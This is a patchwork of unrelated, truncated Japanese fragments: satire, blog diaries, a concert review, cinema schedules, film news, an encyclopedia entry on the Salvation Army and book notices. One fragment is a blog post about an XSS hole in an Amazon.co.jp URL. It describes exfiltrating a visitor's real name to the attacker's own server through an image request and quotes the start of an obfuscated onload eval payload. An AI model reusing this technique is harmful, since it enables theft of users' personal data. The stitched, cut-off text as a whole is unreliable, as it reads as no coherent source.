近年日本国内は少子化の一途をたどっているわけですが、実は我々の預かり知らぬところで政府と広告代理店により人口増加の秘策が採られていたのです。ただし手段はサブリミナル。ターゲットはずばり主婦。とはいえ、テレビCMなどにサブリミナル映像を使用するという古くさい手段では、個人での映像の録画や保存が日常化している昨今、どこでぼろが出るかわかりません。そこで考え出されたのがなんの変哲もない日用品によるサブリミナル。これにより主婦たちの潜在意識に知らず知らずのうちに性的欲求が生まれ、ひいては人口増加につながるのではと彼らは考えたのです。それではごらんください。こちらが家庭の主婦たちにたいするおそるべきサブリミナル商品です。 日常に隠された何者かの意志。みなさまもお気を付け下さい。
先日のドラびでお釧路公演のリヴューが、一昨日の日記での心配とは裏腹に、昨日(15日)の北海道新聞夕刊の道東版にカラーの写真入りで予定通りに掲載された(右の写真)。特別に好意的な評ではないが、基本的に非難の色はまったくない平穏な紹介文。 しかし、今朝の同じ道新朝刊の道東版「取材日記」というコラムに「主催者は観客に配慮を」という見出しで同じ公演を扱った別の記者による記事が掲載された。前日の記事とは裏腹に非難囂々な内容。以下にその全文を転載する。 ********************************************************* ホールに響き渡るドラム演奏の中、砲弾で兵士が吹き飛ばされたり、男性が宴会でコンパニオンのような女性の体を触ったりする映像が流れた。会場の親子連れは次々と外に出て行った。 十四日に道立釧路芸術館で開かれた「ドラびでお」のコンサート。山口市在
都立中央図書館は来週月曜(22日)から6月2日(金)まで特別整理で休館。調べ物は今週中に済ませておかないと。あと、大宅文庫にも行く必要があるなあ……。 それにしても、大宅文庫はどうしていまだにネットを通じて外部から雑誌記事の検索ができないんだろう。大宅文庫とGoogleあたりが提携したら、きっと超強力な雑誌記事検索システムができると思うんだけど。 【追記】と思ってちょっと大宅文庫のサイトを見てみたら、先月からWeb-OYA bunkoというシステムの運用が始まっていて、登録した法人会員と教育機関にかぎってはネット検索ができるようになったみたい。一般利用者にこのシステムが開かれるのは一体いつになるのか……。
魚の化石なのか、それとも魚の絵なのか、米粒が飛んでいるUFOであるのか。化石は魚の皮膚の色彩を保存して、恐竜の縞模様を今に伝えるだろう。恐竜の正体は湖で水浴びするシマウマでしたよ、と言われます。石はシマウマでした。石であると思っていたら座っているシマウマで、湖の近くでゆっくりと、おもむろに立ち上がって泳ぎ始める。湖の近くは水蒸気が多いので、少し浮く物体であることができます。すると、その物体の窓が開く。 シマウマの側線がゆっくりと開くだろう。シマウマが湖で水浴びをしていても、魚には側線がありますから、側線は機能して、魚と魚、魚と岩、魚とシマウマ、それらの間には絶妙な距離が発生する。その距離は水によって埋められている。シマウマの縞と縞との間にもヴァイオリンをうまく演奏する人のような絶妙な技術の距離があるので、それは人間の指と、指との間の距離だ。楽器は人間が演奏するものとして作られる。猫が作るの
再び室内に戻ってきました。室内楽は室内で生まれる音楽ですし、室内にあるプチプチと音を出す透明な朱色の卵から目玉が発生していた。ぼくたちは細かい岩の上で殻から出て来るだろう、それはヴァイオリンやチェロを破壊することに似ているが、楽器を破壊しないこと、楽器を破壊するような気分でいろいろな音を出すこと、気分を出すこと、そのような気分であること。なぜなら人間は人間ではない生き物として殻を破って出て来るために音楽を演奏することになったんだ。 卵の中で目玉が発生しているよ。顕微鏡で見てみよう、なぜなら目玉には特別な細胞があって、虹色の銀色の細胞であり、目玉が最初に透明な卵の殻から見ているのだから。次に点線のような黒い背骨ができてきて、その頃には卵は全て川から海へと流されている。自分の力で泳ぐんだ飛ぶのだ、というわけで次に蝶に変化するだろう。蝶である時期には背骨がない無脊椎動物であるのだから、羽根の模様
結局、小学館文庫を買ってきました。 紅い花 (小学館文庫) 作者: つげ義春出版社/メーカー: 小学館発売日: 1994/12/01メディア: 文庫購入: 5人 クリック: 32回この商品を含むブログ (63件) を見る 1994年初版。意外に古い刊行だな。今日買ってきたのは2005年7月1日発行の第22刷。着実に版を重ねている。 学生に訊いてみても、つげ義春の知名度は思ったよりも高い。「大好き」という学生もいる。ところが、大友克洋や諸星大二郎はそうではない。まず知られていない。 この差はどこから来るんだろうと思うんだが、まず思い当たるのは、つげ義春は地域や学校の図書館に入っていることが多いが、大友や諸星はそうではないということだ。もちろん、もっと他に要因はあるに違いないのだが。 ところで、この文庫、小学館叢書版「ねじ式・紅い花」とは収録作が違っている。『女忍』『庶民御宿』『近所の景色』は
ブルース・ウィリス、A・シュワルツェネッガーのそっくりさんと筒井康隆氏 映画「日本以外全部沈没」(今秋公開、河崎実監督)の撮影が15日、都内で行われ、原作者の筒井康隆氏(71)が酒場の男を演じた。同作は小松左京氏の「日本沈没」が大ベストセラーとなった73年に、筒井氏がパロディーとして発表したSF短編。「日本沈没」が33年ぶりに映画化されるタイミングでの公開で、小松氏の快諾も得た河崎監督は「胸を張って便乗。二番せんじでぶっ飛んだ物語を描く」と意欲を語った。 筒井氏はいきさつを「沈没成り金の小松さんを祝おうとSF作家が集まった会で、星新一さんが『日本以外全部沈没』と言い、私が原稿用紙30枚の短編にした」と説明。翌74年のSF文学賞の星雲賞では「日本沈没」が長編部門、「日本以外全部沈没」が短編部門で受賞した。 日本以外の国が海に沈み、米大統領やローマ法王、中国主席ら世界のVIPが日本に押しかける
今回の憂国呆談は、宮台真司氏をゲストに迎え、東京・八重洲ブックセンターにて公開鼎談として行われた。小泉自民党の圧勝に象徴的に表れる日本の危機的状況を、現代日本を代表する3人の論客が熱く深く語り尽くす。本誌版をさらに充実させた完全版を一挙大公開! ●小泉現象をもたらしたもの 今回は社会学者の宮台真司さんをゲストにお迎えして、小泉自民党の圧勝に終わった2005年9月の総選挙、そこに象徴的に現れる政治的・社会的状況を多層的に読み解いてみようという趣向です。 宮台さんは自分のブログで総選挙に関する文章を書いていて(http://www.miyadai.com/index.php?itemid=302&catid=4)、小泉の政治手法を「不安のポピュリズム」としていますよね。 地域や企業という従来の共同体が空洞化して社会的流動性が高まると、それに不安を感じる浮動層が生まれます。小泉は彼らの不
さっきチャリンコで走ってたら、前に警官が。……来るか? と思っていたら、やっぱり止められましたですYO! わあ、今年初めてじゃん! なんか知りませんけど、今年に入ってから一度も止められなかったんですよ! 去年は10回くらい止められましたのに! 久しぶりに神奈川県警の「ピーガルくんカード」(写真)を出すことができましたYO! http://takekuma.cocolog-nifty.com/blog/2005/04/post_e87e.html ↑昨年の関連エントリ こっちはもう、ひさしぶりなんでニコニコしてしまいまして、お巡りさんに「いやあ、今年初めてなんですよ~」と言ってしまいました。なんですか、今度の警官はフレンドリーなオーラを発しているので「後学のためにお聞きしたいのですが、私のどこが怪しかったのですか?」と聞いてみました。 そしたら、「カギが見えなかったんですよ」とおっしゃる。俺
ヤングな人のブログを読むにつけ、「自分がヤングだったころってどうだったっけ」と思うのですが、実際にブログっぽく書くとこんな感じです。20年前、中3のころです。大変寒い感じも含め、実話です(日時は若干ズレてるかも)。こうやって書くと、相当愚かだなぁと思いました。こんな馬鹿な人間でも生きていけるものなんですね。なお、コメントに関しても20年前モードで応答します。 ◆◆1986年5月18日◆◆ あああああああ!!!!やってしもうた!!!今日の夕方は三者面談タイム…だったんですが、母親と一緒に家を出ればよかったのに、かっこつけて「ぼくは後で行くから先に行って買い物でもしてろ!」と言い放ち、ちょっと寝てから行こうと思ったらそのままグースカ寝てしまって…ジリリリンと電話が鳴って(うちはまだ黒電話です。使わないからいいけど。あと、両親の寝室のすぐそばにあるから会話聞かれてるっぽい。だから電話番号知ってる
図書館で借りた本を雨で濡らしてしまった。返却のときに「弁償」と言われたので、「弁償する」と伝えると断られた。公共物を利用する際、利用者にルールを守ってもらうのに、貸す側の対応はとても「抑止力」になっているとは感じられなかった。 台東区民のわたしは、かっぱ橋通りにある台東区立中央図書館 をよく利用する。 4月29日(土)午後、借りていた本を返却するため図書館に出かけた。雨が降っていた。そんなに大降りではない。カバンに本を数冊入れ、カバンに入らない版型の大きな書籍4冊は抱えたまま、傘をさして図書館に向かった。家から図書館まで歩いて5分くらいだ。 ◇弁償していただきます 抱えていた本4冊、そしてカバンの中の本を返却カウンターに差し出したところ、 「あーっ、こんなに濡れて。弁償していただきますよ」 窓口の女性が開口一番そう言った。 そう言われて、本を濡らしてしまったことに気がついた。その担当者はテ
〒150-0044 東京都渋谷区円山町1‐5 KINOHAUS(キノハウス) 4F (03)3461-7703 メールマガジン 上映情報等をお届けいたします。 登録はこちらのURLからお願いいたします。 メールマガジンの登録はこちらから 生誕百年記念 シネアスト安部公房 2024/08/17 ~ 2024/08/23 勅使河原宏監督作はもちろん、演劇『仔象は死んだ』の映像作品、アニメーション『詩人の生涯』、安部公房が監督した『時の崖』等々。 安部公房が関わった映画作品をほぼ網羅したプログラムです。 ■料金案内 8/17、18、21、22のトーク付上映:1800円均一(ポイント鑑賞不可) 『おとし穴』『砂の女』『他人の顔』 (2本立て)『白い朝』『1日240時間』 (2本立て)『詩人の生涯』『時の崖』 一般1500円/シニア1300円/会員1100円/学生900円(ポイント鑑賞不可) 『燃え
いる・こもんず 【普通名詞】 01| ありふれて変なもの 02| 扱いにこまる共有物 03| 分けても減らぬもの 04| 存在とは常に複数で他と共にあり、狂えば狂うほど調子がよくなる
先日以文社から発売された『VOL』ですが、今回第二特集「アヴァン・ガーデニング」の冒頭論文でもある、ピーター・ランボーン・ウィルソン(ハキム・ベイ)の「アヴァン・ガーデニング」という論考をわたくしめが訳出しております。書店で見かけましたら、どうぞよろしくお願いします。結構大きめで、厚く、ボリュームのある本です。 ハキム・ベイといえばイカれた爺さんという印象が強いし、書いてることも抽象的というよりかは幻想的な記述―まるで幻想文学を読んでいるかのような―が多いわけですが、この「アヴァン・ガーデニング」においてもそうしたハキム・ベイの文章の特徴が見られます。でも、その一方で一種の庭園史としても読むことができる内容になっています。特集全体としては、ニューヨークにおけるジェントリフィケーション(宅地開発を目的とした都市の再開発計画)に対する「抵抗」という点に焦点が当てられているようですが、「アヴァン
↓これ 超おすすめマンガなんです!!! うそだけど! ( 修正がはいりました。もう動きません ) 取得後 alert のかわりに、自前で用意したサーバーに <img src="http://自前サーバー/?本名"> かなんかでリクエストするようにしといて、その後、適当な書籍にリダイレクトさせたりすれば…! 本名吸い取り機のできあがり! こわいね>< リンクじゃなくて iframe とかにしちゃえば、へんなの踏ませる必要すらないよ! (ちょっとだけ解説) ↓urlデコードするとこう http://www.amazon.co.jp/exec/obidos/tg/detail/-/<body onload=eval(String.fromCharCode(118, 97, 114, 32, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 9
救世軍(きゅうせいぐん、英: The Salvation Army)は、キリスト教プロテスタントの一派、および慈善団体。 世界133の国と地域[3]で伝道事業(宗教活動)、社会福祉事業、教育事業、医療事業を推進する。軍隊を模した組織が特徴で、クリスマスを中心とした年末に行われる募金活動「社会鍋」で有名。日本では1895年(明治28年)に伝来し、日本福音同盟に加盟している。 英語の「The Salvation Army」を「救世軍」と日本語に翻訳したのは尾崎行雄である[4]。 プロテスタント諸派の一つでありながら、「小隊」と称する分教会を各地に持つ。 概要[編集] 創立者ウィリアム・ブース 救世軍は、1865年にイギリスのメソジスト教会の牧師、ウィリアム・ブースと妻キャサリンによって、ロンドン東部の貧しい労働者階級に伝道するために設立された。 設立当初は「キリスト教伝道会」(東ロンドン伝道会
紀伊國屋書店では、2001年5月より映画を中心としたDVD作品の刊行を開始し、現在300を超えるタイトルを揃えています。『ゴダール 映画史』『テオ・アンゲロプロス全集』など映画芸術的な名作を主体にして、『戦艦ポチョムキン』『裁かるるジャンヌ』などクラシック映画を最高の状態でご提供する〈Critical Edition〉シリーズ、溝口健二監督『雪夫人絵図』、五所平之助監督『大阪の宿』などの〈新東宝傑作セレクション〉、『メトロポリス』『M』などの〈フリッツ・ラング コレクション〉の刊行を開始しました。また、『サスペリア』『火星年代記』など娯楽作品を集める〈ENTERTAINMENT COLLECTION〉シリーズの他、現代日本映画、カルチャー系、歌劇やアニメーションなど充実したラインナップを揃えています。 今後もルイス・ブニュエル監督作品、大島渚監督作品などファン待望の作品を刊行していく
再追加上映決定!! 「これが最後だ!!ハネケ映画祭」 ご好評におこたえして、再追加上映が決定しました。 5月20日(土)、21日(日) 9:40AM 『カフカの「城」』 5月27日(土)、28日(日) 10:00AM 『セブンスコンチネント』 6月3日(土)、4日(日) 10:00AM 『ベニーズ ビデオ』 6月10日(土)、11日(日) 10:00AM 『71フラグメンツ』 *各日ともモーニングショー、本編からの上映です。 知性は時として凶器になる 不快を快楽へと誘う最後の巨匠 疎外、孤独、絶望、暴力… 人間の内面に秘められた感情を、凍りつくほどの冷徹さで鋭く抉るミヒャエル・ハネケの世界。思わず目を背けたくなるほど、今まで出会ったことのない映像体験に、いつしか人は癖になっていく― 上映作品 『セブンス コンチネント』*日本最終上映 1989年/オーストリア/35mm/111分/カラー
2006年05月15日 『どぶろく王国 んだんだライブラリー』無明舎出版編・刊 カテゴリ:カテゴリ未分類 ●『どぶろく王国』無明舎出版編・刊・A5判・89頁・945円・ISBN4-89544-429-5 →どぶろく王国といわれた秋田。昔は自分の家で作って飲んでいたが、醸造が禁止され、密造が見つかると高い罰金をとられ、払えない人は刑務所に入れられた。それでも、貧しい庶民、とりわけ農民は冠婚葬祭にもどぶろくは欠かせなかった。「どぶろくにまつわる悲喜劇」を通して「どぶろく世相史」を紹介しました。 第1章 酒のはなし 第2章 どぶろくの歴史 第3章 密造ナンバーワン 第4章 秋田のどぶろく騒動 第5章 活字のなかの「どぶろく」 附録 どぶろくの仕込み方 ●『石川啄木と石上露子 その同時性と位相』碓田のぼる著・光陽出版社・A5判・238頁・2500円・ISBN4-87662-432-1 → 地図の上
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